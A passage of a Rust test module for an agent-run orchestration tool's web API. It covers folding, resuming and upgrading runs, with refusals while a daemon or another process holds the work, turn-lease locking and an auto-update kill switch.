20997        // What the updaters reach for: every `r.<name>`, where `r` is the
20998        // `const r = row.refs` alias both functions open with.
20999        let mut used: Vec<&str> = Vec::new();
21000        let updaters = &APP_JS[update..end];
21001        for (at, _) in updaters.match_indices("r.") {
21002            // `r` must be the whole identifier, not the tail of another one
21003            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
21004            let before = updaters[..at].chars().next_back();
21005            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21006                continue;
21007            }
21008            let rest = &updaters[at + 2..];
21009            let len = rest
21010                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21011                .unwrap_or(rest.len());
21012            if len > 0 {
21013                used.push(&rest[..len]);
21014            }
21015        }
21016        assert!(
21017            used.len() > 5,
21018            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21019        );
21020
21021        let missing: Vec<&str> = used
21022            .iter()
21023            .copied()
21024            .filter(|name| !published.contains(name))
21025            .collect();
21026        assert!(
21027            missing.is_empty(),
21028            "a run card's updater reaches for {missing:?}, which `createRunCard` \
21029             never put in `refs` - every card will throw and the list will \
21030             render empty under a count line that says otherwise. Published: \
21031             {published:?}"
21032        );
21033    }
21034
21035    #[tokio::test]
21036    async fn folding_from_the_phone_reports_what_it_removed() {
21037        let fx = Fixture::start().await;
21038        let runs = fx.runs();
21039
21040        // A run with no candidates has nothing to fold, which is a 200 with an
21041        // honest count rather than an error: the operator asked for the trees
21042        // to be gone and they are.
21043        let id = "20260901-000000-fold";
21044        write_run(&runs, id, RunStatus::Stalled);
21045        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21046        assert_eq!(res.status, 200);
21047        assert_eq!(res.json()["removed_count"], 0);
21048        assert_eq!(res.json()["run"], id);
21049        assert!(
21050            runs.join(id).exists(),
21051            "a fold keeps the run's record; only the worktrees go"
21052        );
21053    }
21054
21055    #[tokio::test]
21056    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21057        let fx = Fixture::start().await;
21058        let runs = fx.runs();
21059        let wt = fx.home.path().join("wt").join("magi").join("dead");
21060        let id = "20260901-000000-dead";
21061        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21062        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21063        std::fs::create_dir_all(&wt).expect("worktree dir");
21064
21065        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21066        assert_eq!(res.status, 200, "{}", res.body);
21067        assert!(
21068            res.json()["removed_count"].as_u64().unwrap() > 0,
21069            "the worktree this build could not read a state for still went"
21070        );
21071        assert!(
21072            !runs.join(id).exists(),
21073            "an unreadable run has no candidate list to fold selectively, so \
21074             the whole record goes - same as `magi fold` on the CLI"
21075        );
21076    }
21077
21078    #[tokio::test]
21079    async fn deleting_an_unreadable_run_removes_it_wholesale() {
21080        let fx = Fixture::start().await;
21081        let runs = fx.runs();
21082        let wt = fx.home.path().join("wt").join("magi").join("gone");
21083        let id = "20260901-000000-gone";
21084        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21085        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21086        std::fs::create_dir_all(&wt).expect("worktree dir");
21087
21088        let res = fx.delete(&format!("/api/runs/{id}")).await;
21089        assert_eq!(res.status, 204, "{}", res.body);
21090        assert!(!runs.join(id).exists(), "the broken record is gone");
21091        assert!(!wt.exists(), "its worktree is gone too");
21092    }
21093
21094    #[tokio::test]
21095    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21096        let fx = Fixture::start().await;
21097        let runs = fx.runs();
21098        let id = "20260901-000000-live";
21099        write_run(&runs, id, RunStatus::Implementing);
21100
21101        let mut beat = crate::daemon::Status::new();
21102        beat.current = vec![crate::daemon::Current {
21103            task: "20260901-000000-task".to_owned(),
21104            run: id.to_owned(),
21105        }];
21106        beat.updated_at = jiff::Timestamp::now();
21107        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21108            .expect("publish a heartbeat");
21109
21110        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21111        assert_eq!(res.status, 409);
21112        assert!(
21113            res.json()["error"]
21114                .as_str()
21115                .unwrap()
21116                .contains("live daemon"),
21117            "folding under a running agent would pull its worktree away"
21118        );
21119    }
21120
21121    #[tokio::test]
21122    async fn fold_merged_requires_a_pr_url() {
21123        let fx = Fixture::start().await;
21124        let runs = fx.runs();
21125        let id = "20260901-000000-nourl";
21126        write_run(&runs, id, RunStatus::Blocked);
21127
21128        let res = fx
21129            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21130            .await;
21131        assert_eq!(res.status, 400, "{}", res.body);
21132
21133        let blank = fx
21134            .post(
21135                &format!("/api/runs/{id}/fold-merged"),
21136                Some(r#"{"pr_url":"   "}"#),
21137            )
21138            .await;
21139        assert_eq!(blank.status, 400, "{}", blank.body);
21140    }
21141
21142    #[tokio::test]
21143    async fn fold_merged_is_404_for_an_unknown_run() {
21144        let fx = Fixture::start().await;
21145        let res = fx
21146            .post(
21147                "/api/runs/nosuchrun/fold-merged",
21148                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21149            )
21150            .await;
21151        assert_eq!(res.status, 404, "{}", res.body);
21152    }
21153
21154    #[tokio::test]
21155    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21156        let fx = Fixture::start().await;
21157        let runs = fx.runs();
21158        let id = "20260901-000000-livemerge";
21159        write_run(&runs, id, RunStatus::Blocked);
21160
21161        let mut beat = crate::daemon::Status::new();
21162        beat.current = vec![crate::daemon::Current {
21163            task: "20260901-000000-task".to_owned(),
21164            run: id.to_owned(),
21165        }];
21166        beat.updated_at = jiff::Timestamp::now();
21167        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21168            .expect("publish a heartbeat");
21169
21170        let res = fx
21171            .post(
21172                &format!("/api/runs/{id}/fold-merged"),
21173                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21174            )
21175            .await;
21176        assert_eq!(res.status, 409, "{}", res.body);
21177        assert!(
21178            res.json()["error"]
21179                .as_str()
21180                .unwrap()
21181                .contains("live daemon"),
21182            "correcting a run's merge underneath a running agent would race \
21183             whatever it is doing to the same `status`/`merge` fields"
21184        );
21185    }
21186
21187    /// A pull request `gh` cannot even ask about (no such remote, no such
21188    /// repository) must never be recorded as a merge on a guess - the same
21189    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
21190    /// command line, reached here through the phone route instead.
21191    #[tokio::test]
21192    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21193        let fx = Fixture::start().await;
21194        let runs = fx.runs();
21195        let id = "20260901-000000-unconfirmed";
21196        write_run(&runs, id, RunStatus::Blocked);
21197
21198        let res = fx
21199            .post(
21200                &format!("/api/runs/{id}/fold-merged"),
21201                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21202            )
21203            .await;
21204        assert_eq!(res.status, 400, "{}", res.body);
21205        assert_eq!(
21206            read_run(&runs, id).unwrap().status,
21207            RunStatus::Blocked,
21208            "a pull request that could not be confirmed merged must leave \
21209             the run exactly where it was"
21210        );
21211    }
21212
21213    #[tokio::test]
21214    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
21215        let fx = Fixture::start().await;
21216        let runs = fx.runs();
21217
21218        // Only a finished run and a failed one. An *interrupted* run - a
21219        // parked one, or one whose daemon was killed mid-node - is the case
21220        // resuming exists for: run 4043 sat at `reviewing` with the deck
21221        // saying it could not be resumed, which was the one state where
21222        // resuming was the only sensible answer.
21223        for (status, word) in [
21224            (RunStatus::Merged, "merged"),
21225            (RunStatus::Ready, "ready"),
21226            (RunStatus::Failed, "failed"),
21227        ] {
21228            let id = format!("20260901-000000-{}", &word[..4]);
21229            write_run(&runs, &id, status);
21230            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21231            assert_eq!(res.status, 409, "{word} must not be resumable");
21232            let err = res.json()["error"].as_str().unwrap().to_owned();
21233            assert!(err.contains(word), "the refusal names the status: {err}");
21234        }
21235
21236        // And an interrupted run is accepted: 202, with the resume running in
21237        // the background. `Runner::resume` fails immediately here - the
21238        // fixture's run points at a repository that does not exist - which is
21239        // the point: the handler must not wait for it to find out.
21240        let mid = "20260901-000000-midf";
21241        write_run(&runs, mid, RunStatus::Reviewing);
21242        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
21243        assert_eq!(res.status, 202, "an interrupted run is resumable");
21244    }
21245
21246    #[tokio::test]
21247    async fn resume_is_refused_while_the_loop_is_running() {
21248        let fx = Fixture::start().await;
21249        let runs = fx.runs();
21250        let stalled = "20260901-000000-stal";
21251        write_run(&runs, stalled, RunStatus::Stalled);
21252
21253        // The loop is busy with a *different* run, and that is still a
21254        // refusal: a manual resume must never race whatever the loop itself
21255        // is already driving, whether that is one run or several.
21256        let mut beat = crate::daemon::Status::new();
21257        beat.current = vec![crate::daemon::Current {
21258            task: "20260901-000000-task".to_owned(),
21259            run: "20260901-000000-othr".to_owned(),
21260        }];
21261        beat.updated_at = jiff::Timestamp::now();
21262        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21263            .expect("publish a heartbeat");
21264
21265        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21266        assert_eq!(res.status, 409);
21267        let err = res.json()["error"].as_str().unwrap().to_owned();
21268        assert!(err.contains("othr"), "it names what the loop is on: {err}");
21269        assert!(err.contains("stop it first"), "{err}");
21270    }
21271
21272    #[test]
21273    fn a_run_cannot_be_resumed_twice_at_once() {
21274        let home = TempDir::new().expect("temp home");
21275        let ui = Ui::new(
21276            Queue::at(home.path().join("queue")),
21277            Questions::at(home.path().join("questions")),
21278            Talks::at(home.path().join("talks")),
21279            home.path().join("runs"),
21280            home.path().to_path_buf(),
21281            PathBuf::from("/repo"),
21282        )
21283        .with_worktrees_root(home.path().join("wt"));
21284        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21285        let again = ui.begin_resume("20260901-000000-once");
21286        assert!(again.is_err(), "a second tap must not start a second graph");
21287        drop(first);
21288        assert!(
21289            ui.begin_resume("20260901-000000-once").is_ok(),
21290            "and the claim is released when the attempt ends"
21291        );
21292    }
21293
21294    #[test]
21295    fn talk_thinking_tracks_only_its_held_turn_claim() {
21296        let home = TempDir::new().expect("temp home");
21297        let ui = Ui::new(
21298            Queue::at(home.path().join("queue")),
21299            Questions::at(home.path().join("questions")),
21300            Talks::at(home.path().join("talks")),
21301            home.path().join("runs"),
21302            home.path().to_path_buf(),
21303            PathBuf::from("/repo"),
21304        )
21305        .with_worktrees_root(home.path().join("wt"));
21306        let id = "20260901-000000-once";
21307
21308        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21309        let turn = ui.begin_talk_turn(id).expect("claim turn");
21310        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21311        assert!(
21312            !ui.is_thinking("20260901-000000-other"),
21313            "one talk's turn does not make another talk busy"
21314        );
21315        drop(turn);
21316        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21317    }
21318
21319    #[test]
21320    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21321        let home = TempDir::new().expect("temp home");
21322        let talks = Talks::at(home.path().join("talks"));
21323        let ui = Ui::new(
21324            Queue::at(home.path().join("queue")),
21325            Questions::at(home.path().join("questions")),
21326            talks.clone(),
21327            home.path().join("runs"),
21328            home.path().to_path_buf(),
21329            PathBuf::from("/repo"),
21330        )
21331        .with_worktrees_root(home.path().join("wt"));
21332        let id = "20260901-000000-cross";
21333
21334        let other = Talks::at(home.path().join("talks"))
21335            .claim_turn(id)
21336            .expect("claim")
21337            .expect("the other process wins");
21338        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21339        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21340        assert!(
21341            matches!(
21342                ui.begin_talk_turn_unless_pending(id).expect("start"),
21343                TalkTurnStart::Foreign
21344            ),
21345            "a foreign holder is refused, not queued behind"
21346        );
21347        assert!(
21348            !ui.talk_turns.lock().unwrap().live.contains(id),
21349            "a refused claim leaves no in-process entry behind"
21350        );
21351        drop(other);
21352        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21353        assert!(talks.turn_held(id), "the web turn holds the lease");
21354        drop(turn);
21355        assert!(
21356            !talks.turn_held(id),
21357            "dropping the guard releases the lease"
21358        );
21359    }
21360
21361    fn consult_question(ui: &Ui) -> Question {
21362        let mut q = Question::new(
21363            "20260901-000000-consult".to_owned(),
21364            "implement".to_owned(),
21365            "impl-A".to_owned(),
21366            "Which backend?".to_owned(),
21367            String::new(),
21368            vec!["SQLite".to_owned(), "Redis".to_owned()],
21369        );
21370        ui.questions.put(&mut q).expect("question");
21371        q
21372    }
21373
21374    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21375        (
21376            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21377            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21378        )
21379    }
21380
21381    #[tokio::test]
21382    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21383        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21384        let q = consult_question(&ui);
21385        let talk = ui.talks.get(&id).expect("talk");
21386        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21387        let before = consult_snapshot(&ui, &q, &id);
21388        let cli_talks = Talks::at(ui.home.join("talks"));
21389        assert_eq!(
21390            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21391                .await
21392                .expect("CLI starter"),
21393            crate::consult::Started::Busy
21394        );
21395        assert_eq!(consult_snapshot(&ui, &q, &id), before);
21396        assert!(ui.is_thinking(&id));
21397        drop(guard);
21398        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21399    }
21400
21401    #[tokio::test]
21402    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21403        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21404        let q = consult_question(&ui);
21405        let talk = ui.talks.get(&id).expect("talk");
21406        let started = tmp.path().join("started");
21407        let release = tmp.path().join("release");
21408        let script = tmp.path().join("consult-agent.sh");
21409        std::fs::write(
21410            &script,
21411            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
21412        )
21413        .expect("script");
21414        let mut cfg = stub_config();
21415        cfg.agents[0].id = "mock".to_owned();
21416        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21417        cfg.agents[0].env = std::collections::BTreeMap::from([
21418            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21419            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21420        ]);
21421        let questions = ui.questions.clone();
21422        let cli_talks = Talks::at(ui.home.join("talks"));
21423        let cli_q = q.clone();
21424        let turn = tokio::spawn(async move {
21425            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21426        });
21427        let ready = tokio::time::timeout(Duration::from_secs(30), async {
21428            while !started.exists() {
21429                tokio::time::sleep(Duration::from_millis(10)).await;
21430            }
21431        })
21432        .await;
21433        // Always release and join the agent, even if readiness or the web
21434        // request fails, so a failed assertion cannot leave a turn behind.
21435        let refusal = if ready.is_ok() {
21436            let before = consult_snapshot(&ui, &q, &id);
21437            let result = talk_say(
21438                State(Arc::clone(&ui)),
21439                Path(id.clone()),
21440                Ok(Json(NewTalkTurn {
21441                    reply_to: None,
21442                    text: "another message".to_owned(),
21443                    attachments: Vec::new(),
21444                })),
21445            )
21446            .await;
21447            Some((result, before, consult_snapshot(&ui, &q, &id)))
21448        } else {
21449            None
21450        };
21451        std::fs::write(&release, "").expect("release agent");
21452        let done = turn.await.expect("join CLI turn");
21453        ready.expect("agent started before deadline");
21454        let (result, before, after) = refusal.expect("web request");
21455        let error = result.expect_err("web must refuse the CLI's turn");
21456        assert_eq!(error.status, StatusCode::CONFLICT);
21457        assert!(error.message.contains("a turn is already running"));
21458        assert_eq!(
21459            after, before,
21460            "refusal preserves question, draft and history"
21461        );
21462        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21463        let guard = ui
21464            .begin_talk_turn(&id)
21465            .expect("web claim")
21466            .expect("free again");
21467        drop(guard);
21468    }
21469
21470    #[test]
21471    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21472        let home = TempDir::new().expect("temp home");
21473        let talks = Talks::at(home.path().join("talks"));
21474        let ui = Ui::new(
21475            Queue::at(home.path().join("queue")),
21476            Questions::at(home.path().join("questions")),
21477            talks.clone(),
21478            home.path().join("runs"),
21479            home.path().to_path_buf(),
21480            PathBuf::from("/repo"),
21481        )
21482        .with_worktrees_root(home.path().join("wt"));
21483        let id = "20260901-000000-order";
21484        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21485        // Hold the slot mutex so the drop can finish the lease but not the slot.
21486        let slots = ui.talk_turns.lock().unwrap();
21487        let dropper = std::thread::spawn(move || drop(turn));
21488        let start = std::time::Instant::now();
21489        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21490            std::thread::sleep(Duration::from_millis(5));
21491        }
21492        assert!(!talks.turn_held(id), "the lease is released first");
21493        assert!(slots.live.contains(id), "the slot is still held meanwhile");
21494        drop(slots);
21495        dropper.join().expect("join");
21496        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21497    }
21498
21499    #[tokio::test]
21500    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
21501        let fx = Fixture::start().await;
21502        // Somebody else's `magi serve` owns the queue. Replacing this binary
21503        // would leave that process running an old one against the same
21504        // claims, which is worse than refusing.
21505        let mut beat = crate::daemon::Status::new();
21506        beat.pid = 4321;
21507        beat.updated_at = jiff::Timestamp::now();
21508        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21509            .expect("publish a heartbeat");
21510
21511        let res = fx.post("/api/upgrade", None).await;
21512        assert_eq!(res.status, 409);
21513        let err = res.json()["error"].as_str().unwrap().to_owned();
21514        assert!(err.contains("4321"), "the refusal names the owner: {err}");
21515        assert!(err.contains("old one against the same queue"), "{err}");
21516    }
21517
21518    /// [`should_spawn_recheck`] must refuse for the same two reasons
21519    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
21520    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
21521    /// Purely a predicate over config and the environment - no network, no
21522    /// disk, no runtime - so unlike the fixture-based tests around it this
21523    /// one needs neither.
21524    #[test]
21525    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21526        assert!(!should_spawn_recheck(&crate::config::Update {
21527            mode: UpdateMode::Off,
21528            interval: None,
21529        }));
21530
21531        // SAFETY: single-threaded as far as this variable goes, the same
21532        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
21533        unsafe {
21534            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21535        }
21536        let killed = should_spawn_recheck(&crate::config::Update {
21537            mode: UpdateMode::Notify,
21538            interval: None,
21539        });
21540        unsafe {
21541            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21542        }
21543        assert!(
21544            !killed,
21545            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21546             one-time startup check"
21547        );
21548
21549        assert!(should_spawn_recheck(&crate::config::Update {
21550            mode: UpdateMode::Notify,
21551            interval: None,
21552        }));
21553    }
21554
21555    /// [`recheck_poll_period`] must track a configured `[update] interval`
21556    /// shorter than its own default ceiling - a fixed sleep here would leave
21557    /// an operator's short interval waiting on the next wake-up instead of on
21558    /// `should_check`, which is the same bug this whole task exists to fix,
21559    /// just one level down.
21560    #[test]
21561    fn recheck_poll_period_tracks_a_short_configured_interval() {
21562        let short = crate::config::Update {
21563            mode: UpdateMode::Notify,
21564            interval: Some("1m".to_owned()),
21565        };
21566        let period = recheck_poll_period(&short);
21567        assert!(
21568            period <= Duration::from_secs(30),
21569            "a one-minute interval must wake the task far sooner than the \
21570             default ceiling, or the deck would not notice within the \
21571             interval the operator configured: got {period:?}"
21572        );
21573
21574        let default = crate::config::Update {
21575            mode: UpdateMode::Notify,
21576            interval: None,
21577        };
21578        assert_eq!(
21579            recheck_poll_period(&default),
21580            UPDATE_RECHECK_POLL_MAX,
21581            "the default day-long interval should poll at the (capped) \
21582             ceiling rather than needlessly often"
21583        );
21584    }
21585
21586    /// [`update_recheck_due`] must not repeat a check made moments ago, the
21587    /// same throttle `updater::Checker::should_check` already gives the
21588    /// CLI's notify mode. Built over an explicit state file via
21589    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
21590    /// write the operator's real `last_update_check.json` - and therefore
21591    /// cannot flake on whatever that file happens to say on the machine
21592    /// running the test.
21593    #[test]
21594    fn recheck_skips_the_network_before_the_interval_elapses() {
21595        let dir = TempDir::new().expect("temp dir");
21596        let path = dir.path().join("state.json");
21597        let state = kaishin::UpdateCheckState {
21598            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21599            last_known_latest: None,
21600            last_known_url: None,
21601        };
21602        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21603
21604        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21605        assert!(
21606            !update_recheck_due(&checker, None),
21607            "a check made moments ago must not be repeated before the \
21608             configured interval elapses"
21609        );
21610    }
21611
21612    /// An upgrade this deck already started must not be raced by a recheck
21613    /// that discovers a newer release mid-install - regardless of what
21614    /// `should_check` says, which is why the state file here is missing
21615    /// entirely: read alone, that alone would answer "never checked, go
21616    /// ahead".
21617    #[test]
21618    fn recheck_defers_to_an_upgrade_already_in_flight() {
21619        let dir = TempDir::new().expect("temp dir");
21620        let path = dir.path().join("state.json");
21621        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21622        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21623
21624        assert!(
21625            !update_recheck_due(&checker, Some(&progress)),
21626            "a recheck must not run while an upgrade this deck started is \
21627             still moving"
21628        );
21629    }
21630
21631    #[tokio::test]
21632    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
21633        // The same env var the background check honours (`disabled_by_env`)
21634        // must also stop a button press before it ever calls
21635        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
21636        // means "never contact GitHub from this process", and a tap on the
21637        // upgrade button must not override that any more than a broken
21638        // `magi.toml` may. Left unset, this fixture's default config would
21639        // otherwise reach a real, unauthenticated GitHub call.
21640        //
21641        // SAFETY: single-threaded as far as this variable goes - nothing else
21642        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
21643        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
21644        unsafe {
21645            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21646        }
21647        let fx = Fixture::start().await;
21648        let res = fx.post("/api/upgrade", None).await;
21649        unsafe {
21650            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21651        }
21652        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21653        let body = res.json();
21654        assert!(body["to"].is_null(), "there was no release to move to");
21655        assert!(body["parked"].is_null(), "and nothing was parked");
21656        assert!(
21657            body["detail"]
21658                .as_str()
21659                .unwrap()
21660                .contains("disabled by MAGI_NO_AUTOUPDATE"),
21661            "{body:?}"
21662        );
21663    }
21664
21665    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
21666        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
21667        p.stage = stage;
21668        p
21669    }
21670
21671    #[test]
21672    fn busy_stages_match_the_ui_set() {
21673        use crate::updater::Stage;
21674        assert!(APP_JS.contains(
21675            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
21676        ));
21677        for s in [
21678            Stage::Downloading,
21679            Stage::Replaced,
21680            Stage::Parking,
21681            Stage::Restarting,
21682        ] {
21683            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
21684        }
21685        for s in [Stage::Done, Stage::Failed] {
21686            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
21687        }
21688        assert!(upgrade_in_motion(None).is_none());
21689    }
21690
21691    #[tokio::test]
21692    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
21693        use crate::updater::Stage;
21694        for stage in [
21695            Stage::Downloading,
21696            Stage::Replaced,
21697            Stage::Parking,
21698            Stage::Restarting,
21699        ] {
21700            let fx = Fixture::start().await;
21701            let seeded = seeded_progress(stage);
21702            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
21703            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21704                .expect("read");
21705
21706            let res = fx.post("/api/upgrade", None).await;
21707            assert_eq!(res.status, 409, "{stage:?}");
21708            let err = res.json()["error"].as_str().unwrap().to_owned();
21709            assert!(err.contains("already in progress"), "{err}");
21710            assert!(err.contains(stage.as_str()), "{err}");
21711
21712            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21713                .expect("read");
21714            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
21715            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
21716                .unwrap_or_default();
21717            assert!(!log.contains("signalling HANDOVER"), "{log}");
21718        }
21719    }
21720
21721    #[test]
21722    fn upgrade_retry_timing_only_parses_known_diagnostics() {
21723        assert_eq!(
21724            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
21725            Some(3723)
21726        );
21727        assert_eq!(
21728            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
21729            Some(60)
21730        );
21731        assert_eq!(
21732            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
21733            Some(0)
21734        );
21735        for message in [
21736            "permission denied",
21737            "GitHub API rate limit exceeded",
21738            "GitHub rate limit (resets in unknown)",
21739            "GitHub rate limit (resets in 18446744073709551615d)",
21740        ] {
21741            assert_eq!(upgrade_retry_after(message), None, "{message}");
21742        }
21743    }
21744
21745    #[tokio::test]
21746    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
21747        let home = TempDir::new().unwrap();
21748        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
21749        ui.start_loop(None).unwrap();
21750        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
21751        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
21752        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
21753        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
21754        let response = finish_upgrade_request(&ui, result);
21755        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
21756        assert_eq!(response.headers()["retry-after"], "120");
21757        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
21758            .await
21759            .unwrap();
21760        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
21761        assert!(body["error"].as_str().unwrap().contains(reason));
21762        assert_eq!(body["retry_after_secs"], 120);
21763        assert!(body["retry_at"].as_u64().is_some());
21764        for _ in 0..2 {
21765            let view = health(State(ui.clone())).await.unwrap().0;
21766            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
21767            assert_eq!(failure, body);
21768        }
21769        assert_eq!(
21770            std::fs::read(updater::progress_path(home.path())).unwrap(),
21771            before
21772        );
21773        assert!(!ui.lock_loop().resume_after_handover);
21774        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
21775        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
21776        // A conflicting request must not erase the actionable earlier failure.
21777        let gate = ui.upgrade_gate.lock().await;
21778        assert_eq!(
21779            upgrade_post(State(ui.clone())).await.status(),
21780            StatusCode::CONFLICT
21781        );
21782        drop(gate);
21783        assert!(
21784            health(State(ui.clone()))
21785                .await
21786                .unwrap()
21787                .0
21788                .upgrade_request_error
21789                .is_some()
21790        );
21791        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
21792        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
21793        assert!(
21794            health(State(ui.clone()))
21795                .await
21796                .unwrap()
21797                .0
21798                .upgrade_request_error
21799                .is_none()
21800        );
21801        let live = ui.lock_loop().live.take().unwrap();
21802        live.stop.stop();
21803        live.handle.await.unwrap();
21804    }
21805
21806    #[tokio::test]
21807    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
21808        use crate::updater::Stage;
21809        let repo = TempDir::new().expect("repo dir");
21810        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21811            .expect("write magi.toml");
21812        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21813        for stage in [Stage::Done, Stage::Failed] {
21814            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
21815            let res = fx.post("/api/upgrade", None).await;
21816            assert_eq!(res.status, 200, "{stage:?}");
21817        }
21818        // No record at all, and the gate was released by the earlier calls.
21819        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
21820        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
21821    }
21822
21823    #[tokio::test]
21824    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
21825        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
21826        // and the route answers from its own logic.
21827        //
21828        // This test used to lean on the fixture's placeholder repo failing
